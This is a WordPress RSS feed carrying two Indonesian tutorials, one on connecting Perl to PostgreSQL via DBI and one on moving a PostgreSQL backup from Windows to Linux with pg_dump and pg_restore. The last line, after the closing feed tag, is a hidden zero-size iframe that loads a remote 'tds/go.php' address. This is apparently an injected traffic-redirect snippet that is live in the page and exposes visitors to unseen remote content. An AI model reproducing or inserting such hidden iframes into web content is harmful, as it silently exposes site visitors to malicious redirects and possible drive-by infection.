<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>dijexi.com &#187; Windows</title>
	<atom:link href="http://www.dijexi.com/tag/windows/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dijexi.com</link>
	<description>free programming tutorial, tips and tricks on php, codeigniter, delphi, dotnet, ajax and more..</description>
	<lastBuildDate>Fri, 13 Jan 2012 23:21:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com"/><atom:link rel="hub" href="http://superfeedr.com/hubbub"/>		<item>
		<title>Perl connection to PostgreSQL</title>
		<link>http://www.dijexi.com/2009/06/perl-konek-ke-postgresql/</link>
		<comments>http://www.dijexi.com/2009/06/perl-konek-ke-postgresql/#comments</comments>
		<pubDate>Mon, 29 Jun 2009 23:30:07 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[PostgreSQL]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[dbh]]></category>
		<category><![CDATA[perl package manager]]></category>
		<category><![CDATA[script perl]]></category>
		<category><![CDATA[sistem operasi windows]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/06/perl-konek-ke-postgresql/</guid>
		<description><![CDATA[Modul Perl yang diperlukan Agar program Perl bisa connect ke Posgres diperlukan modul tambahan Perl sebagai berikut: DBI DBD::Pg Instalasi Modul di Linux Untuk sistem operasi Linux, installasi modul sangat mudah dilakukan, yaitu dengan menggunakan program RPM, Yum, dan sebagainya. Sebagai contoh untuk menginstall modul DBD::Pg, lakukan langkah-langkah sbb: Cari nama package modul jika belum [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><h2>Modul Perl yang diperlukan</h2>
<p>Agar program Perl bisa connect ke Posgres diperlukan modul tambahan Perl sebagai berikut:</p>
<ol>
<li>DBI</li>
<li>DBD::Pg</li>
</ol>
<h2>Instalasi Modul di Linux</h2>
<p>Untuk sistem operasi Linux, installasi modul sangat mudah dilakukan, yaitu dengan menggunakan program RPM, Yum, dan sebagainya.</p>
<p><span id="more-226"></span></p>
<p>Sebagai contoh untuk menginstall modul DBD::Pg, lakukan langkah-langkah sbb:</p>
<p>Cari nama package modul jika belum diketaui secara pasti.</p>
<blockquote>
<pre># yum search perl-dbd</pre>
</blockquote>
<p>hasilnya misalnya (bisa beda-beda setiap komputer):</p>
<blockquote>
<pre style="width: 479px; height: 90px;">Loading "fastestmirror" plugin
Loading mirror speeds from cached hostfile  * base: centosq2.centos.org  * updates: centosw.centos.org  * addons: centosk2.centos.org  * extras: centosw.centos.org
perl-DBD-Pg.x86_64 : A PostgresSQL interface for perl
perl-DBD-MySQL.x86_64 : A MySQL interface for perl</pre>
</blockquote>
<p>Dari hasil pencarian tersebut dapat diketahui nama file modul yang perlu diinstal secara pasti, yaitu <strong>perl-DBD-Pg.x86_64</strong>.</p>
<p>Jalankan perintah install sebagai berikut:</p>
<blockquote>
<pre># yum install perl-DBD-Pg.x86_64</pre>
</blockquote>
<p>Pastikan tidak ada pesan error. Jika sudah sukses, maka modul DBD::Pg siap digunakan. Modul DBI umumnya sudah diinstall secara default. Namun jika belum (diketahui dari pesan error saat install DBD::Pg) maka lakukan langkah yang sama seperti di atas untuk modul DBI.</p>
<h2>Instalasi Modul di Windows</h2>
<p>Untuk Sistem operasi Windows gunakan ActiveState Perl. Pada program tersebut terdapat program utiliti ppm (perl package manager) yang dapat digunakan untuk mengelola modul.</p>
<h2>Script Koneksi PostgreSQL</h2>
<p>Langkah pemanggilan fungsi yang perlu dilakukan oleh script Perl untuk konek dan query ke Postgres adalah:</p>
<ol>
<li>function $dbh = DBI-&gt;connect()</li>
<li>function $sth = dbh-&gt;prepare($sql)</li>
<li>function $sth-&gt;execute;</li>
<li>jika diperlukan untuk mengambil data: function $sth-&gt;fetchrow()</li>
</ol>
<p>Langkah pertama adalah memanggil modul DBI untukmelakukan koneksi ke database.  Seacara lengkap sintaksnya adalah :</p>
<blockquote>
<pre style="width: 479px; height: 44px;">$dbh = DBI-&gt;connect("dbi:Pg:dbname=namadatabase", 'namauser', 'password', {AutoCommit =&gt; 1});</pre>
</blockquote>
<p>Dimana paramenter pertama &#8220;dbi:Pg:dbname=namadatabase&#8221; adalah parameter koneksi ke server. Dapat ditambahkan dengan string hostname dan port yang jika tidak dicantumkan maka diasumsikan localhost port 5432.</p>
<p>Parameter kedua dan ketiga adalah nama user database dan password nya yang digunakan untuk melakukan koneksi.</p>
<p>Parameter ke empat {AutoCommit =&gt; 1} adalah option yang menentukan apakah setiap query akan otomatis di commit atau tidak. Jika Tidak maka perlu dijalanlan function $dbh-&gt;commit().</p>
<p>Setelah berhasil konek, langkah selanjutnya adalah mempersiapkan SQL statement yang akan dikirimkan ke server. Perintah selengkapnya misalnya sbb:</p>
<blockquote>
<pre>$sql = "select * from namatable";
$sth = $dbh-&gt;prepare($sql);</pre>
</blockquote>
<p>Setelah dipersiapkan, maka panggil function execute untuk mengeksekusi SQL:</p>
<pre>$sth-&gt;execute;</pre>
<p>Jika SQL yang dijalankan mengeluarkan hasil (misalnya SQL SELECT), maka data yang dihasilkan ditangkap dengan menggunakan function $sth-&gt;fetchrow() yang dilooping sampai dengan data tersebut habis, sebagai berikut:</p>
<blockquote>
<pre>while ( my @row = $sth-&gt;fetchrow() )
{
     print $row[0] , $row[0];
}</pre>
</blockquote>
<p>Untuk SQL yang tidak mengeluarkan hasil (misalnya SQL INSERT, UPDATE), maka tidak perlu dilakukan pemanggilan function fetchrow().</p>
<p>Akhmad Daniel Sembiring</p>
<p><a href="http://www.vitraining.com">vITraining.com &#8211; Qualified IT Products, Outsourcing, and Services</a></p>
<p><a href="http://ligarwangi.com">Ligarwangi.com &#8211; Linux, E-book, Coffee, Gift, etc</a></p>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/06/meng-connect-in-php-ke-postgresql/" rel="bookmark">PHP Connection to PostgreSQL</a></li><li><a href="http://www.dijexi.com/2009/07/php-library-to-connect-to-ldap-server/" rel="bookmark">PHP Library to Connect to LDAP Server</a></li><li><a href="http://www.dijexi.com/2009/05/koneksi-ms-sql-server-dengan-c-sharp/" rel="bookmark">Koneksi MS SQL Server dengan C-Sharp</a></li><li><a href="http://www.dijexi.com/2008/06/perl-membaca-file-excel/" rel="bookmark">Perl Membaca File Excel</a></li><li><a href="http://www.dijexi.com/2010/08/creating-gps-tracker-application-on-j2me-phones/" rel="bookmark">Creating GPS Tracker Application on J2ME Phones</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F06%2Fperl-konek-ke-postgresql%2F&amp;linkname=Perl%20connection%20to%20PostgreSQL"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/06/perl-konek-ke-postgresql/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Me-Restore database PostgreSQL dari Windows ke Linux</title>
		<link>http://www.dijexi.com/2008/04/me-restore-database-postgresql-dari-windows-ke-linux/</link>
		<comments>http://www.dijexi.com/2008/04/me-restore-database-postgresql-dari-windows-ke-linux/#comments</comments>
		<pubDate>Mon, 21 Apr 2008 22:46:00 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[PostgreSQL]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[backup database]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[database server]]></category>
		<category><![CDATA[Encoding]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[message transfer]]></category>
		<category><![CDATA[port database]]></category>
		<category><![CDATA[restore]]></category>
		<category><![CDATA[scp]]></category>
		<category><![CDATA[ssh]]></category>
		<category><![CDATA[winscp]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2008/04/me-restore-database-postgresql-dari-windows-ke-linux/</guid>
		<description><![CDATA[Kasus Anda mempunyai database PostgreSQL yang sudah berjalan di Windows kemudian ingin direstore ke server PostgreSQL yang berjalan di Linux. Backup Database Di Windows Jalankan PgAdmin III di Windows, Pilih database yang mau dipindahkan ke Linux Klik kanan pada database, klik Backup Isikan filename yaitu nama file backup database, nama file tersebut harus ber-extension .backup [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><h2>Kasus</h2>
<p>Anda mempunyai database PostgreSQL yang sudah berjalan di Windows kemudian ingin direstore ke server PostgreSQL yang berjalan di Linux.</p>
<h2>Backup Database Di Windows</h2>
<ol>
<li>Jalankan PgAdmin III di Windows,</li>
<li>Pilih database yang mau dipindahkan ke Linux</li>
<li>Klik kanan pada database, klik Backup<br />
<h2><a href="http://akhdaniel.files.wordpress.com/2008/04/backup.png"><img class="alignnone size-medium wp-image-8" style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; vertical-align: middle; border-left-width: 0px" src="http://akhdaniel.files.wordpress.com/2008/04/backup.png?w=298" border="0" alt="Dialog Backup PgAdmin III" width="298" height="300" /></a></h2>
</li>
<li>Isikan filename yaitu nama file backup database, nama file tersebut harus ber-extension .backup</li>
<li>Pilih option Compress</li>
<li>Biarkan pilihan lain</li>
<li>Klik OK</li>
<li>Tunggu sampai proses selesai</li>
</ol>
<p><span id="more-212"></span></p>
<p>Harap diperhatikan Encoding yang digunakan pada database di Windows apakah SQL_ASCII atau UTF8 atau yang lainnya, karena ini sangat berpengaruh pada saat restore nanti di Linux (encoding yang digunakan harus sama). Encoding database dapat dilihat dari properties database seperti gambar di bawah:</p>
<p><a href="http://akhdaniel.files.wordpress.com/2008/04/db-properties.png"><img class="aligncenter size-medium wp-image-10" style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" src="http://akhdaniel.files.wordpress.com/2008/04/db-properties.png?w=239" border="0" alt="" width="239" height="300" /></a></p>
<p>Kemudian lihat pada bagian kanan, Property &#8211; Encoding, dalam hal ini adalah SQL_ASCII. Encoding ini yang harus kita gunakan pada saat restore di Linux nantinya.</p>
<p><a href="http://akhdaniel.files.wordpress.com/2008/04/encoding.png"><img class="aligncenter size-medium wp-image-11" style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" src="http://akhdaniel.files.wordpress.com/2008/04/encoding.png?w=300" border="0" alt="" width="300" height="177" /></a></p>
<p>Selanjutnya, program yang dijalankan oleh PgAdmin III di WIndows untuk mem-backup database adalah pg_dump.exe dengan parameter sbb:</p>
<pre style="width: 509px; height: 58px;">pg_dump.exe -i -h localhost -p 5432 -U postgres -F t -b -v –f 

       "c:\tmp\tes.backup" &lt;namadb&gt;</pre>
<p>Dimana:</p>
<p>-i : ignore version (tidak memperhatikan versi pg_dump)</p>
<p>-h : hostname database server</p>
<p>-p: port database server</p>
<p>-U: user yang digunakan untuk konek ke database</p>
<p>-F: format file backup: c (custom) , selain itu ada pilihan t (tar)</p>
<p>-b: ??</p>
<p>-v: verbose message</p>
<h2>Transfer file backup ke Linux</h2>
<ol>
<li>Gunakan program WinSCP untuk mentransfer file ke Linux (asumsi Linux sudah di-install server SCP/ SSH)<a href="http://akhdaniel.files.wordpress.com/2008/04/winscp.png"><img class="alignnone size-medium wp-image-9" style="vertical-align: middle" src="http://akhdaniel.files.wordpress.com/2008/04/winscp.png?w=300" alt="" width="300" height="161" /></a></li>
<li>Tunggu sampai proses transfer selesai</li>
<li>Pastikan bahwa file tersebut sudah berada pada HOME directory anda di Linux</li>
</ol>
<h2>Restore Database di Linux</h2>
<p>Gunakan program SSH puTTY untuk masuk ke console Linux (asumsi Linux sudah diinstall server SSH).</p>
<p>Buat database baru tempat menampung hasil restore menggunakan program psql sebagai berikut (ketikkan perintah yang ditulis dalam huruf bold):</p>
<pre><strong>psql -U postgres </strong>
Welcome to psql 8.1.3, the PostgreSQL interactive terminal.
Type:  \copyright for distribution terms
       \h for help with SQL commands
       \? for help with psql commands
       \g or terminate with semicolon to execute query
       \q to quit

postgres=# <strong>CREATE DATABASE test_restore ENCODING='SQL_ASCII';</strong>
CREATE DATABASE
postgres=# <strong>\q</strong></pre>
<p>Pada HOME directory jalankan program pg_restore sbb:</p>
<pre><strong>pg_restore -U postgres -d </strong><strong><strong>test_restore</strong></strong><strong> -F c &lt;nama_file_backup&gt;</strong></pre>
<p>Dimana:</p>
<p>-d: nama database tujuan restore</p>
<p>-U : user yang digunakan untuk konek ke database</p>
<p>-F : format yang digunakan untuk me-restore file backup, harus sesuai dengan format yang digunakan untuk mem-backup</p>
<p>Tunggu sampai proses restore selesai.</p>
<p style="text-align: right">22 April 2008</p>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/06/restore-mysql-database-stored-procedure-missing/" rel="bookmark">Restore MySQL database, stored procedure missing ?</a></li><li><a href="http://www.dijexi.com/2009/06/perl-konek-ke-postgresql/" rel="bookmark">Perl connection to PostgreSQL</a></li><li><a href="http://www.dijexi.com/2009/06/meng-connect-in-php-ke-postgresql/" rel="bookmark">PHP Connection to PostgreSQL</a></li><li><a href="http://www.dijexi.com/2009/06/adempiere-opensource-erp-installation/" rel="bookmark">001 Adempiere Opensource ERP Installation</a></li><li><a href="http://www.dijexi.com/2009/06/mysql-backup-with-phpmybackuppro/" rel="bookmark">MySQL Backup with phpMyBackupPro</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2008%2F04%2Fme-restore-database-postgresql-dari-windows-ke-linux%2F&amp;linkname=Me-Restore%20database%20PostgreSQL%20dari%20Windows%20ke%20Linux"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2008/04/me-restore-database-postgresql-dari-windows-ke-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
